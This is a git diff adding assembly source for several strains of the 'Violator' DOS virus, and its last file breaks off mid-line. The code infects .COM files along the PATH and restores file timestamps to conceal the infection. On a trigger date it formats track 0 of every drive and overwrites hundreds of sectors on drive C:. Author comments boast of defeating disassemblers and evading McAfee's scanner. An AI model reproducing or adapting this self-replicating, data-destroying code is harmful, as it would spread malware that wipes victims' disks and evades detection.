+old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline at end of file diff --git a/v/VIOL-B2.ASM b/v/VIOL-B2.ASM new file mode 100755 index 0000000..f7c6ecc --- /dev/null +++ b/v/VIOL-B2.ASM @@ -0,0 +1,510 @@ +;***************************************************************************** +; +; Violator - Strain B2 +; +;***************************************************************************** +; +; (Sep/23/90) +; +; Development Notes: +; +; In this version, I have implemented various methods of thwarting users +; attempts to dissassemble this program as well as tracing various interrupt +; calls. +; +; This was done by setting a marker and then doing a CALL to a location which +; will decide which interrupt to issue based on the marker value. Couple this +; with multiple jumps, and it is enough to make any dissassembler puke it's +; guts out, not to mention anyone looking at us with debug will probably +; have an enema before they find out which interrupt we are using. +; +; Also, I have added a routine to thouroughly mess up drive C at the end of +; wiping out all drive. This was taken from Violator A becuase it worked to +; nicely destruction-wise. +; +; In other notes, this sucker is set to go off on October 31st 1990. +; +; UIV v1.0 is still on the fritz and will not become Violator C until I fix it +; to wipe out vectors 13, 26, and 21 (HEX). +; +; (Oct.02.90) +; +; Made a minor change so that INT 26 will also be accessed via flag. +; +;***************************************************************************** +; +; Written by - The High Evolutionary - +; RABID Head Programmer +; +; Copyright (C) 199O by RABID Nat'nl Development Corp. +; +;***************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + MOV AH,30H + MOV marker,1 + call weed + CMP AL,0 ;Quit it it's DOS 1.0 + JNZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + MOV marker,1 + CALL weed + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + MOV marker,1 + CALL weed + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP year_check + +; +; This routine weed's out the calls... +; + +weed: CMP marker,1 ;Check to see if it's an INT 21 call + JE int_21 ;If yes,then go and issue an INT 21 + CMP marker,2 ;Check to see if it's an INT 13 call + JE int_13 ;If yes, then go and issue an INT 13 + CMP marker,3 ;Check to see if it's an INT 26 call + JE int_26 ;If yes, then go and issue an INT 26 + RET ;Go back to where we were called from + +; +; The RET there is unnecessary, but I put it there just to be on the safe side +; incase of a "What If?" scenario... The real valid RET is issued from the JE +; locations (int_21 and int_13)... You may choose to comment this line on +; compilation, but what difference does one byte make ? +; + +year_check: + MOV AH,2AH ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP CX,1990 ;Check to see if the year is 1990 + JGE month_check ;If greater or equal, check month + JMP find_path ;If not, go on with infection + +month_check: + MOV AH,2AH ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP DH,10 ;Check to see if it is October + JGE day_check ;If greater or equal, check day + JMP find_path ;if not, go on with infection + +day_check: + MOV AH,2Ah ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP DL,31 ;Check to see if it is the 31st + JGE multiplex ;If yes, then nuke drives A:-Z: + JMP find_path ;If not, then go on with infection + +int_21: INT 21h ;Issue an INT 21 + RET ;Return from CALL + +multiplex: + MOV AL,cntr ;Counter is the drive to kill + CALL alter ;Go and kill the drive + ;25 is drive Z: + CMP cntr,25 ;Is (cntr) 25 ? + JE really_nuke ;Now go and Blow up drive C: + INC cntr ;Add one to (cntr) + LOOP multiplex ;Loop back up to kill next drive + +int_26: INT 26h + RET + +alter: + MOV AH,05 ;Format Track + MOV CH,0 ;Format track 0 + MOV DH,0 ;Head 0 + MOV DL,cntr ;Format for drive in (cntr) + MOV marker,2 ;Call RWTS + CALL weed + RET ;Return up for next drive + +int_13: INT 13h ;Issue an INT 13 + RET ;Return from CALL + +really_nuke: + MOV AL,2 ;Set to fry drive C + MOV CX,700 ;Set to write 700 sectors + MOV DX,00 ;Starting at sector 0 + MOV DS,[DI+99] ;Put random crap in DS + MOV BX,[DI+55] ;More crap in BX + MOV marker,3 ;Call BIOS + CALL weed + POPF ;Pop the flags because INT 26 messes + ;them up + +find_path: + POP SI + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +;***************************************************************************** +; +; Infection Notes: (Oct.02.90) +; +; A wierd thing happened a few days ago, I was testing this virus out on my +; system under Flushot + and I monitored everything that was going on. Here is +; the exact order that Violator infects stuff: +; +; 1) If there is a path used, we first infect the current directory until +; full. +; +; If there is no path, we infect the current directory either way... +; +; 2) If there is no path, we then infect the current directory, and then +; go on and infect all COM'z in the root directory. +; +; 3) Finally, after everything in the path has been infected, we then go and +; infect all of the COM shit in the root directory... +; +; This results in a bug with the slash checker. It checks to see if there is +; a slash on the end of the path, and if there is none, it adds one. But +; what would happen if there's no path??? It'll still add a slash. +; This benefit's us greatly. Anyway, on with the code... +; +;***************************************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... THE VICTIM!!! + MOV CX,3 ;Attributes of Read Only or Hidden OK + MOV marker,1 + CALL weed + JMP SHORT find_first + +find_next: + MOV AH,4FH + MOV marker,1 + CALL weed + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + MOV marker,1 + CALL weed + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + MOV marker,1 + CALL weed + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + MOV marker,1 + CALL weed ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + MOV marker,1 + CALL weed + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + MOV marker,1 + CALL weed + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + MOV marker,1 + CALL weed + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + MOV marker,1 + CALL weed + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + MOV marker,1 + CALL weed + MOV AH,3EH + MOV marker,1 + CALL weed + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + MOV marker,1 + CALL weed + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program +; +; It seems as if there is a bit of a misunderstanding about the above line. +; What it simply does is returns from the JMP that we issued at the beginning +; of the program. Heceforth, an infected program will have something to the +; effect of 2145:0100 JMP 104B and the program will then jump to the +; beginning of us. Then we go along our merry way of infecting files until +; we are done and then come up to the RET 0FFFFH line. This is just like a +; plain RET put as we all know, you can't RET from a JMP, so this line kinda +; tricks DOS to return back to the line after the one that issued the original +; JMP, thus, it returns to line 2145:0102 and begins with the real program... +; +; Clear? Good... + +vir_dat EQU $ + +; +; Change the next line on release of compiled file... +; +intro db 'Violator B2 (C) ''9O RABID Nat''nl Development Corp.',13,10 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +cntr DB 2 ; Drive to nuke from (C:+++) +marker DB 0 ; This is used for INT purposes +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline at end of file diff --git a/v/VIOL-B3.ASM b/v/VIOL-B3.ASM new file mode 100755 index 0000000..89d5828 --- /dev/null +++ b/v/VIOL-B3.ASM @@ -0,0 +1,442 @@ +;***************************************************************************** +; Violator Strain B3 +;***************************************************************************** +; +; Notes: (Oct.24.9O) +; ------------------ +; +; (TJA) Bah! Sorry I released this late. Wanted to make sure all of the bugs +; and shit were fixed... +; +; Well, I had to rewrite this one so that McAffee can't scan for it. Took me +; a while, but I just re-did it from scratch and then after doing some +; research, it turned out he was looking for something in the Data Segment. +; So I just re-arranged a few things and voila! Instant unscannable virus! +; +; Also, for the INT filtering routine, I eliminated the extra bytes that do +; a [MOV marker,1] where it was unnecessary. After I issue it once, I don't +; have to keep MOVing it because it's still in memory right? +; +; Silly me wrote the original filter routine after I came home drunk from a +; party, so I didn't take that into account. So we are one step close to having +; K-K00L thrify kode... +; +; I also took out that stupid MOV_CX macro. It was bugging the shit out of me +; becuase it served no purpose other than taking up extra space. MOV CX,virlen +; does the exact same thing... +; +; Other Notes +; ----------- +; +; Thanx to RABID Pagan for some totally mondo ideas (Mutating Data Segment...) +; I think I'll be popping that into strain B4 +; +; Also, to Rick Dangerous, about Violator/2 TSR. I found the problem with your +; TSR program. It was messy as hell!!! The CALL virus_begin was causing the +; problems. I'll rewrite the TSR for ya ala THETSR methodology. +; +;***************************************************************************** +; +; Written by The High Evolutionary +; +; Copyright (c) 199O by The RABID Nat'nl Development Corp. +; October, 24th, 199O +;***************************************************************************** + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + CLD + MOV SI,DX + ADD SI,first_3 + MOV DI,OFFSET 100H + MOV CX,3 + REPZ MOVSB + MOV SI,DX + MOV AH,30H + MOV marker,1 + CALL filter + CMP AL,0 + JNZ year_check + JMP quit + +filter: CMP marker,1 + JE int_21 + CMP marker,2 + JE int_13 + CMP marker,3 + JE int_26 + RET + +int_21: INT 21H + RET + +int_13: INT 13h + RET + +int_26: INT 26h + RET + +year_check: + MOV AH,2AH ; Get date info + MOV marker,1 + CALL filter + CMP CX,year + JGE month_check + JMP infect + +month_check: + CMP DH,month + JGE day_check + JMP infect + +day_check: + CMP DL,day + JGE kill_13 + JMP infect + +kill_13: + MOV Al,counter + CALL ala_13 + CMP counter,27 + JE re_format + INC counter + LOOP kill_13 + +ala_13: MOV CH,0 + MOV DL,counter + MOV AH,05h + MOV DH,0 + MOV marker,2 + CALL filter + RET +; +; I changed this routine, becuase in the original Violator, I rewrote the +; data segment by calling it for the INT 26. All I did this time, was just +; set BX to be an offset of my INTRO var. That way, when Drive C is formatted, +; the Violator identifier string will be written everywhere... Kinda neat! +; + +re_format: + PUSHF + MOV BX,OFFSET intro ; Changed it here... + MOV DX,00 + MOV CX,800 + MOV AL,2 + MOV marker,3 + CALL filter + POPF + +infect: PUSH ES + MOV AH,2FH + MOV marker,1 + CALL filter + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + CALL filter + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + +find_path: + POP SI + PUSH SI + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path + LOOP check_next_4 + POP SI + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden + CALL filter + JMP SHORT find_first + +find_next: + MOV AH,4FH + CALL filter + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1CH + CMP AL,1CH + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + CALL filter + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + INC times ; INC the number of times we infected + MOV BX,AX + MOV AX,OFFSET 5700H + CALL filter + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + CALL filter + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + CALL filter + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + MOV [DI],CX + MOV AH,40H + MOV CX,virlen ;Bah! Took out the stupid macro!!! + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ;address of virus code in memory + CALL filter + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + CALL filter + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1CH + MOV AX,OFFSET 5701H + CALL filter + MOV AH,3EH + CALL filter + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + CALL filter + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + CALL filter + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;************************************************************************ + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +year DW 1990 ;Set year to 1990 +; +; MASM considers a DB value greater than 255 illegal. So I just make the year +; into a Data Word. That way, I can still keep the year as part of the data +; segment for easier modification. +; +; Just for anyone who is curious out there... +; +month DB 12 ;Set month to December +day DB 25 ;Set day to Christmas +intro DB 'Violator Strain B3 - RABID Nat''nl Development Corp.' +marker DB 0 ;Marker for INT purposes +counter DB 2 ;Counter for drives +times DB 0 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +fspec_ DB '*.COM',0 +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ + +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat + + CODE ENDS +END VCODE + +; The End ? Stay tuned, true believers, for Violator Strain Be-fore... \ No newline at end of file diff --git a/v/VIOL-B4.ASM b/v/VIOL-B4.ASM new file mode 100755 index 0000000..f26d378 --- /dev/null +++ b/v/VIOL-B4.ASM @@ -0,0 +1,691 @@ +;***************************************************************************** +; Violator Strain B4 +;***************************************************************************** +; +; Notes: (Nov.26.9O) +; ------------------ +; +; "Happy Holiday's Guys!!!" +; +; Haha! I just got off the line with Flash Force. We decided to make +; a Violator Strain B4 which will have a nice little ANSI Christmas tree +; with RABID's seasons greetings. So the file will be huge! But who cares. +; People won't notice an infection until it's too late due to the short life +; of this virus. +; +; New editions to this virus are a counter that keeps track of how many philes +; it has infected (Where it is in the program, I have no idea!!!), and a +; nice ANSI screen. +; +; I also fixed that stupid re-infection bug in B3... Bah! To err is human... +; +;***************************************************************************** +; +; Written by The High Evolutionary +; +; Copyright (c) 199O by The RABID Nat'nl Development Corp. +; +;***************************************************************************** + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + CLD + MOV SI,DX + ADD SI,first_3 + MOV DI,OFFSET 100H + MOV CX,3 + REPZ MOVSB + MOV SI,DX + MOV AH,30H + MOV marker,1 + CALL filter + CMP AL,0 + JNZ year_check + JMP quit + +filter: CMP marker,1 + JE int_21 + CMP marker,2 + JE int_13 + CMP marker,3 + JE int_26 + RET + +int_21: INT 21H + RET + +int_13: INT 13h + RET + +int_26: INT 26h + RET + +year_check: + MOV AH,2AH ; Get date info + MOV marker,1 ; Set function for INT 21 + CALL filter ; Call the filter routine + CMP CX,1990 ; Check if it's 1990 + JGE month_check ; Yes? Check the month + JMP infect ; No? Go to infection routine + +month_check: + CMP DH,month ; Check if it's December + JGE day_check ; Yeah? Check the day + JMP infect ; No? Infect a phile + +day_check: + CMP DL,day ; Check if it's Christmas + JGE kill_13 ; Yeah? Kill all drives + JMP infect ; No? Infect a poor guy! + +kill_13: + MOV AL,counter ; Move drive into AL + CALL ala_13 ; Kill the drive + CMP counter,27 ; Check to see if it's drive Z: + JE re_format ; Yes! Then go to re_format + INC counter ; Increase the counter + LOOP kill_13 ; Jump up and fry the next one + +ala_13: MOV CH,0 ; Set to track 0 + MOV DL,counter ; Set drive to counter + MOV AH,05h ; Set function for formatting + MOV DH,0 ; Format Head 0 + MOV marker,2 ; Set for INT_13 call + CALL filter ; Call the filter routine + RET ; Return from call +; +; I changed this routine, becuase in the original Violator, I rewrote the +; data segment by calling it for the INT 26. All I did this time, was just +; set BX to be an offset of my INTRO var. That way, when Drive C is formatted, +; the Violator identifier string will be written everywhere... Kinda neat! +; + +re_format: + MOV BP,OFFSET ansi ; Offset of ANSI screen + MOV CX,2000 ; Set for 2000 bytes + MOV AH,13h ; Set function for write to screen + MOV AL,3 ; Set all attributes to be written + MOV BH,0 ; + MOV BL,0 ; + MOV DH,0 ; Row 0 + MOV DL,0 ; Column 0 + INT 10h ; Display it to screen + PUSHF ; Push Flags onto stack 'cause INT + ; 26 kill the flag status + MOV BX,OFFSET intro ; Add a message on the fried drive! + MOV DX,00 ; Set for sector 0 + MOV CX,800 ; Write 800 sectors + MOV AL,2 ; Make it drive C: + MOV marker,3 ; Set up for INT 26 call + CALL filter ; Call filter for INT 26 + POPF ; Restore the flags we pushed + +infect: PUSH ES + MOV AH,2FH + MOV marker,1 + CALL filter + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + CALL filter + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + +find_path: + POP SI + PUSH SI + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path + LOOP check_next_4 + POP SI + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden + CALL filter + JMP SHORT find_first + +find_next: + MOV AH,4FH + CALL filter + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1CH + CMP AL,1CH + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H +; +;Is the file too long? +; + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH +; +;Is it too short? +; + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + CALL filter + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + MOV AX,OFFSET 3D02H ;Read/Write + MOV 